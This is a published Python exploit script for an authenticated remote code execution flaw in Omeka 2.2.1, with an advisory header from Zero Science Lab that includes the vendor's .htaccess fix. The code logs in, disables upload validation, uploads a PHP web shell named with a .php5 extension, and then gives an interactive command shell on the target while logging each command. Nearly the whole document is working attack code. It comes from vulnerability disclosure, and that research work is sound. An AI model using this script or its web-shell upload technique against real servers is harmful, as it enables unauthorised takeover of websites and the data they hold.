Omeka 2.2.1 - Remote Code Execution Exploit

#!/usr/bin/env python

#

# Omeka 2.2.1 Remote Code Execution Exploit

#

# Vendor: Omeka Team (CHNM GMU)

# Product web page: http://www.omeka.org

# Affected version: 2.2.1 and 2.2

#

# Summary: Omeka is a free, flexible, and open source web-publishing

# platform for the display of library, museum, archives, and scholarly

# collections and exhibitions. Its 'five-minute setup' makes launching

# an online exhibition as easy as launching a blog.

#

# Desc: Omeka suffers from an authenticated arbitrary PHP code execution.

# The vulnerability is caused due to the improper verification of

# uploaded files in '/admin/items/add' script thru the 'file[0]' POST

# parameter. This can be exploited to execute arbitrary PHP code by

# uploading a malicious PHP script file that will be stored in

# '/files/original' directory after successfully disabling the file

# validation option (or adding something like 'application/x-php' into the

# allowed MIME types list) and bypassing the rewrite rule in the '.htaccess'

# file with '.php5' extension.

#

# .htaccess fix by vendor:

# -------------------------------------------------------

# Line 29: -RewriteRule !\.php$ - [C]

# Line 29: +RewriteRule !\.(php[0-9]?|phtml|phps)$ - [C]

# -------------------------------------------------------

#

# - Role permission for disabling validation and uploading files: Super

# - Role permission for uploading files: Super, Admin

#

# Ref: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php

#

# Tested on: Kali Linux 3.7-trunk-686-pae

# Apache/2.2.22 (Debian)

# PHP 5.4.4-13(apache2handler)

# MySQL 5.5.28

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

#

# Zero Science Lab - http://www.zeroscience.mk

# Macedonian Information Security Research And Development Laboratory

#

# Advisory ID: ZSL-2014-5194

# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5194.php

#

# 16.07.2014

#

version = '2.0.0.251'

import itertools, mimetools, mimetypes

import cookielib, urllib, urllib2, sys

import logging, os, time, datetime, re

from colorama import Fore, Back, Style, init

from cStringIO import StringIO

from urllib2 import URLError

init()

if os.name == 'posix': os.system('clear')

if os.name == 'nt': os.system('cls')

piton = os.path.basename(sys.argv[0])

def bannerche():

print '''

@---------------------------------------------------------------@

|                                                               |

| Omeka 2.2.1 Remote Code Execution Exploit |

|                                                               |

|                                                               |

| ID: ZSL-2014-5194 |

|                                                               |

|                                                               |

@---------------------------------------------------------------@

'''

if len(sys.argv) < 3:

print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n'

print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk omeka\n'

sys.exit()

bannerche()

print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET

host = sys.argv[1]

path = sys.argv[2]

cj = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

try:

opener.open('http://'+host+'/'+path+'/admin/users/login')

except urllib2.HTTPError, errorzio:

if errorzio.code == 404:

print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET

print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET

print

sys.exit()

except URLError, errorziocvaj:

if errorziocvaj.reason:

print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET

print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET

print

sys.exit()

print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Login please.'

username = raw_input('\x20\x20[*] Enter username: ')

password = raw_input('\x20\x20[*] Enter password: ')

login_data = urllib.urlencode({

'username' : username,

'password' : password,

'remember' : '0',

'submit' : 'Log In'

})

login = opener.open('http://'+host+'/'+path+'/admin/users/login', login_data)

auth = login.read()

for session in cj:

sessid = session.name

print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET

ses_chk = re.search(r'%s=\w+' % sessid , str(cj))

cookie = ses_chk.group(0)

print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET

if re.search(r'Login information incorrect. Please try again.', auth):

print '\x20\x20[*] Faulty credentials given '+'.'*30+Fore.RED+'[ER]'+Fore.RESET

print

sys.exit()

else:

print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET

disable_file_validation = urllib.urlencode({

'disable_default_file_validation' : '1',

'submit' : 'Save+Changes'

})

opener.open('http://'+host+'/'+path+'/admin/settings/edit-security', disable_file_validation)

print '\x20\x20[*] Disabling file validation '+'.'*29+Fore.GREEN+'[OK]'+Fore.RESET

class MultiPartForm(object):

def __init__(self):

self.form_fields = []

self.files = []

self.boundary = mimetools.choose_boundary()

return

def get_content_type(self):

return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):

self.form_fields.append((name, value))

return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):

body = fileHandle.read()

if mimetype is None:

mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'

self.files.append((fieldname, filename, mimetype, body))

return

def __str__(self):

parts = []

part_boundary = '--' + self.boundary

parts.extend(

[ part_boundary,

'Content-Disposition: form-data; name="%s"' % name,

'',

value,

]

for name, value in self.form_fields

)

parts.extend(

[ part_boundary,

'Content-Disposition: file; name="%s"; filename="%s"' % \

(field_name, filename),

'Content-Type: %s' % content_type,

'',

body,

]

for field_name, filename, content_type, body in self.files

)

flattened = list(itertools.chain(*parts))

flattened.append('--' + self.boundary + '--')

flattened.append('')

return '\r\n'.join(flattened)

if __name__ == '__main__':

form = MultiPartForm()

form.add_field('public', '1')

form.add_field('submit', 'Add Item')

form.add_file('file[0]', 'thricerbd.php5',

fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>'))

request = urllib2.Request('http://'+host+'/'+path+'/admin/items/add')

request.add_header('User-agent', 'joxypoxy 2.0')

body = str(form)

request.add_header('Content-type', form.get_content_type())

request.add_header('Cookie', cookie)

request.add_header('Content-length', len(body))

request.add_data(body)

request.get_data()

print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET

checkitemid = urllib2.urlopen(request).read()

itemid = re.search('The item #(\d+)', checkitemid).group(1)

print '\x20\x20[*] Getting item ID '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Item ID: '+Fore.YELLOW+itemid+Fore.RESET

checkfileid = opener.open('http://'+host+'/'+path+'/admin/items/show/'+itemid)

fileid = re.search('/admin/files/show/(\d+)', checkfileid.read()).group(1)

print '\x20\x20[*] Getting file ID '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] File ID: '+Fore.YELLOW+fileid+Fore.RESET

print '\x20\x20[*] Getting file name '+'.'*37+Fore.GREEN+'[OK]'+Fore.RESET

checkhash = opener.open('http://'+host+'/'+path+'/admin/files/show/'+fileid)

hashfile = re.search('/files/original/(.+?).php5', checkhash.read()).group(1)

print '\x20\x20[*] File name: '+Fore.YELLOW+hashfile+'.php5'+Fore.RESET

print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET

time.sleep(1)

furl = '/files/original/'+hashfile+'.php5'

print

today = datetime.date.today()

fname = 'omeka-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'

logging.basicConfig(filename=fname,level=logging.DEBUG)

logging.info(' '+'+'*75)

logging.info(' +')

logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))

logging.info(' + Title: Omeka 2.2.1 Remote Code Execution Exploit')

logging.info(' + Python program executed: '+sys.argv[0])

logging.info(' + Version: '+version)

logging.info(' + Full query: \''+piton+'\x20'+host+'\x20'+path+'\'')

logging.info(' + Username input: '+username)

logging.info(' + Password input: '+password)

logging.info(' + Vector: '+'http://'+host+'/'+path+furl)

logging.info(' +')

logging.info(' + Advisory ID: ZSL-2014-5194')

logging.info(' + Zero Science Lab - http://www.zeroscience.mk')

logging.info(' +')

logging.info(' '+'+'*75+'\n')

print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET

raw_input()

while True:

try:

cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)

execute = opener.open('http://'+host+'/'+path+furl+'?cmd='+urllib.quote(cmd))

reverse = execute.read()

pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)

print Style.BRIGHT+Fore.CYAN

cmdout = pattern.match(reverse)

print cmdout.groups()[0].strip()

print Style.RESET_ALL+Fore.RESET

if cmd.strip() == 'exit':

break

logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')

except Exception:

break

logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG')

print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET

print

sys.exit()